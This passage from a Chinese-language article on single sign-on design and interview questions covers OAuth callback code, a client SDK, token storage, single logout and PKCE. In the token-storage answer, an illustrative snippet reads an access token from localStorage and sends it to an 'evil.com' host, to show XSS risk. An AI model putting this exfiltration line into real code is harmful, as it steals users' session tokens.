userInfoUrl: 'https://www.googleapis.com/oauth2/v2/userinfo',
clientId: process.env.GOOGLE_CLIENT_ID!,
clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
scope: 'openid profile email',
},
};
// 处理第三方回调
async function handleThirdPartyCallback(
providerName: string,
code: string,
clientId: string,
redirectUri: string
): Promise<{ accessToken: string; refreshToken: string } | null> {
const provider = providers[providerName];
if (!provider) return null;
// 1. 用 code 换取第三方 Access Token
const tokenResponse = await fetch(provider.tokenUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
},
body: JSON.stringify({
client_id: provider.clientId,
client_secret: provider.clientSecret,
code,
redirect_uri: `https://sso.example.com/callback/${providerName}`,
}),
});
const tokenData = await tokenResponse.json();
// 2. 获取第三方用户信息
const userResponse = await fetch(provider.userInfoUrl, {
headers: { Authorization: `Bearer ${tokenData.access_token}` },
});
const thirdPartyUser = await userResponse.json();
// 3. 查找或创建本地用户
let user = await findUserByThirdParty(providerName, thirdPartyUser.id);
if (!user) {
user = await createUserFromThirdParty(providerName, thirdPartyUser);
}
// 4. 签发 SSO Token
return tokenService.signTokens(
{ sub: user.id, username: user.username, roles: user.roles },
clientId
);
}
13.3 Client SDK 设计
为简化子系统接入,提供开箱即用的 SDK:
interface SSOSDKConfig {
ssoBaseUrl: string;
clientId: string;
redirectUri?: string;
autoRefresh?: boolean;
onSessionExpired?: () => void;
}
class SSOSDK {
private config: SSOSDKConfig;
private tokenMgr: TokenManager;
constructor(config: SSOSDKConfig) {
this.config = {
redirectUri: window.location.origin + '/callback',
autoRefresh: true,
...config,
};
this.tokenMgr = new TokenManager();
}
// 初始化:自动检测登录状态
async init(): Promise<boolean> {
// 1. 检查 URL 是否有回调参数
if (window.location.search.includes('code=')) {
return this.handleCallback();
}
// 2. 尝试静默续期
const success = await this.tokenMgr.init();
if (success && this.config.autoRefresh) {
this.tokenMgr.subscribe((token) => {
if (!token) {
this.config.onSessionExpired?.();
}
});
}
return success;
}
login(): void {
// 跳转 SSO 登录
const params = new URLSearchParams({
response_type: 'code',
client_id: this.config.clientId,
redirect_uri: this.config.redirectUri!,
scope: 'openid profile email',
state: crypto.randomUUID(),
});
window.location.href =
this.config.ssoBaseUrl + '/authorize?' + params;
}
logout(): void {
// 跳转 SSO 登出
const params = new URLSearchParams({
client_id: this.config.clientId,
post_logout_redirect_uri: window.location.origin,
});
window.location.href =
this.config.ssoBaseUrl + '/logout?' + params;
}
getAccessToken(): string | null {
return this.tokenMgr.getAccessToken();
}
isAuthenticated(): boolean {
return this.tokenMgr.getAccessToken() !== null;
}
private async handleCallback(): Promise<boolean> {
// 处理授权回调...
return true;
}
}
// 使用方式
const sso = new SSOSDK({
ssoBaseUrl: 'https://sso.example.com',
clientId: 'my-app',
onSessionExpired: () => {
window.location.href = '/login';
},
});
await sso.init();
常见面试问题
Q1: SSO 的核心原理是什么?CAS 和 OAuth 2.0 有什么区别?
答案:
SSO 的核心原理是集中认证 + 信任传递:
- 集中认证:所有子系统共享一个认证中心(SSO Center),用户的凭证(用户名密码)只在 SSO Center 验证
- 信任传递:SSO Center 验证成功后,通过某种凭证(Ticket/Token/Cookie)将认证结果传递给各子系统
- Session 共享:SSO Center 维护一个全局 Session(TGT),当用户访问新的子系统时,检测到全局 Session 存在,自动完成认证
CAS 和 OAuth 2.0 的核心区别:
| 维度 | CAS | OAuth 2.0 |
|---|---|---|
| 目的 | 纯认证(Authentication) | 纯授权(Authorization) |
| 凭证 | Service Ticket(一次性) | Access Token(可复用) |
| 用户信息 | ST 验证时返回 | 需单独调用 API |
| 适用范围 | 企业内部系统 | 开放平台、第三方登录 |
| 推荐场景 | 遗留内网系统 | 现代 Web/移动端 |
提到 OIDC 是 OAuth 2.0 + 身份层的关系,以及 OAuth 2.1 废弃隐式模式的趋势,能体现对协议演进的理解。
Q2: 前端如何安全存储 Token?为什么不能用 localStorage?
答案:
Token 存储的安全性分析:
| 存储方式 | XSS 风险 | CSRF 风险 | 刷新页面 | 推荐度 |
|---|---|---|---|---|
| 内存(变量) | 安全 | 无 | 丢失 | Access Token 推荐 |
| HttpOnly Cookie | 安全 | 需防护 | 保留 | Refresh Token 推荐 |
| localStorage | 不安全 | 无 | 保留 | 不推荐 |
| sessionStorage | 不安全 | 无 | 关闭即丢 | 临时数据 |
localStorage 的风险:
// XSS 攻击者可以轻松读取 localStorage
// 只要页面存在一个 XSS 漏洞,Token 就会被窃取
const stolenToken = localStorage.getItem('access_token');
// 发送到攻击者服务器
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken }),
});
推荐方案:
// 最佳实践:内存 + HttpOnly Cookie 组合
class SecureTokenStorage {
// Access Token 存内存(XSS 无法读取变量)
private accessToken: string | null = null;
// Refresh Token 存 HttpOnly Cookie(JS 完全不可访问)
// 由服务端 Set-Cookie 设置,无需前端处理
setAccessToken(token: string): void {
this.accessToken = token;
}
getAccessToken(): string | null {
return this.accessToken;
}
// 页面刷新后:通过 Refresh Token Cookie 静默换取新的 Access Token
async restore(): Promise<boolean> {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // 自动携带 HttpOnly Cookie
});
if (!response.ok) return false;
const data = await response.json();
this.accessToken = data.accessToken;
return true;
}
}
Q3: 如何实现单点登出(SLO)?有哪些挑战?
答案:
单点登出(Single Logout)需要在用户登出时,通知所有已认证的子系统清除本地 Session。主要有两种实现方式:
Back-Channel Logout(推荐):
// SSO 中心主动通知各子系统后端
async function backChannelLogout(sessionId: string): Promise<void> {
const session = await sessionStore.get(sessionId);
if (!session) return;
// 并行通知所有已注册的子系统
await Promise.allSettled(
session.registeredClients.map((clientId) =>
fetch(getLogoutUri(clientId), {
method: 'POST',
body: new URLSearchParams({
logout_token: generateLogoutToken(sessionId, clientId),
}),
})
)
);
}
Front-Channel Logout:
// 通过浏览器端 iframe 请求各子系统登出 URL
function frontChannelLogout(clients: string[]): void {
clients.forEach((logoutUrl) => {
const iframe = document.createElement('iframe');
iframe.src = logoutUrl;
iframe.style.display = 'none';
iframe.onload = () => iframe.remove(); // 加载完即移除
document.body.appendChild(iframe);
});
}
主要挑战:
| 挑战 | 说明 | 解决方案 |
|---|---|---|
| 子系统不可达 | 某子系统宕机,无法接收登出通知 | Promise.allSettled + 重试 + Token 短有效期 |
| 网络延迟 | 通知到达前用户仍在使用 | Token 短有效期(15 分钟)兜底 |
| 浏览器限制 | Front-Channel 受 SameSite Cookie 影响 | 优先使用 Back-Channel |
| 一致性 | 部分系统登出成功,部分失败 | 最终一致性,定期清理过期 Session |
Q4: OAuth 2.0 的 PKCE 是什么?为什么 SPA 必须使用它?
答案:
PKCE(Proof Key for Code Exchange,读作 "pixy")是 OAuth 2.0 的安全扩展,防止授权码拦截攻击。
为什么 SPA 必须使用:
- SPA 是纯前端应用,代码完全公开,无法安全存储
client_secret - 没有 PKCE 时,攻击者如果拦截了授权码(通过恶意浏览器扩展、DNS 劫持等),可以直接用 code 换取 Token
- PKCE 确保只有发起授权请求的客户端才能完成 Token 交换
PKCE 工作原理:
关键点:
code_verifier只在客户端生成,不通过 URL 传输,攻击者无法获取- 即使攻击者截获了
code,没有code_verifier也无法换取 Token code_challenge是哈希值,不可逆,即使被截获也无法推导出code_verifier
// 服务端验证 PKCE
async function verifyPKCE(
codeVerifier: string,
storedCodeChallenge: string
): Promise<boolean> {
const encoder = new TextEncoder();
const data = encoder.encode(codeVerifier);
const digest = await crypto.subtle.digest('SHA-256', data);
const computedChallenge = base64UrlEncode(new Uint8Array(digest));
return computedChallenge === storedCodeChallenge;
}
相关链接
- OAuth 2.0 规范(RFC 6749)
- OAuth 2.0 PKCE(RFC 7636)
- OpenID Connect 规范
- OIDC Back-Channel Logout
- CAS Protocol 3.0
- JWT 认证 - JWT 结构、优缺点、刷新机制
- Cookie 与 Session - Cookie 安全属性、分布式 Session
- 浏览器安全 - XSS、CSRF 防护详解
- 设计权限管理系统 - RBAC、ABAC、权限 SDK
- 前端 SDK 通用架构设计 - SDK 插件化、事件驱动